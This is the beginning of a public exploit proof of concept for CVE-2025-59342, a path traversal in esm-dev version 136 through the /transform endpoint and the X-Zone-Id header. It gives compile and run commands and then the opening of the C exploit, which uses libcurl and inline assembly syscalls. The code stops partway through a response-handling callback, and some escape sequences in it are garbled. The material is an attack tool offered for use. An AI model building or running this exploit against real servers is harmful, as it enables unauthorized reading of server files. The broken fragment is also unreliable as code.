esm-dev 136 – Path Traversal
Proof of Concept (PoC)
poc.sh
# Exploit Title: esm-dev 136 - Path Traversal
# Date: 2025-07-11
# Exploit Author: Byte Reaper
#Vendor Homepage: https://github.com/esm-dev/esm.sh
# Software Link: https://github.com/esm-dev/esm.sh
# CVE-2025-59342
- File : exploit.c
- Date : 09/17/2025
- Target : esm-dev
- Version: 136
- Target Endpoint : /transform
- Target Header : X-Zone-Id
- Vuln :
- Run exploit :
# gcc exploit.c argparse.c -o CVE-2025-59342 -lcurl
# ./CVE-2025-59342
#include <curl/curl.h>
#include <string.h>
#include <stdlib.h>
#include "argparse.h"
#include <time.h>
#include <unistd.h>
#include <sys/utsname.h>
#define FULL_URL 2500
#define P_Y 2000
#define POST_DATA 9000
int flagPort = 0;
int port = 80;
int selectPort = -1;
int verbose = 0;
int code = 1;
int found = 1;
int cF = 0;
int s = 0;
int bY = 0;
int sP = 0;
const char* cookies = NULL;
const char* payload = NULL;
void exit64bit()
{
int n = 0;
__asm__ volatile
(
"mov $0x4A, %%raxnt"
"mov $0x1, %%rdint"
"syscallnt"
"test %%rax, %%raxnt"
"jz .aDnt"
"mov $0x0, %[var]nt"
"jmp .finishnt"
".aD:nt"
"mov $0x1, %[var]nt"
".finish:nt"
: [var] "+r" (n)
:
: "rax",
"rdi"
);
if (n == 0)
{
printf("e[0;31m[-] sys_fsync syscall Faild.n");
fflush(stdout);
}
else if (n == 1)
{
printf("[+] sys_fsync syscall Success.n");
}
__asm__ volatile
(
"mov $0x0, %%rdint"
"mov $0x3C, %%raxnt"
"syscallnt"
:
:
: "rax",
"rdi"
);
}
struct Mem
{
char* buffer;
size_t len;
};
size_t write_cb(void* ptr, size_t size, size_t nmemb, void* userdata)
{
size_t total = size * nmemb;
struct Mem* m = (struct Mem*)userdata;
char* tmp = realloc(m->buffer, m->len + total + 1);
if (!tmp) return 0;
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '